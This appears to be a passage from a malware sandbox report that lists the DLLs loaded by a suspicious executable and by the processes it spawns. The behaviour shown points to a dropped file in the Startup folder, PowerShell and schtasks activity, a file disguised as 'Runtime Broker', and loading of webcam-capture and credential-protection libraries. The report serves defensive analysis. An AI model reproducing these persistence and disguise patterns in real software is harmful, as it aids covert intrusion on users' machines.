Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\Public\Runtime Broker	Section loaded: mscoree.dll
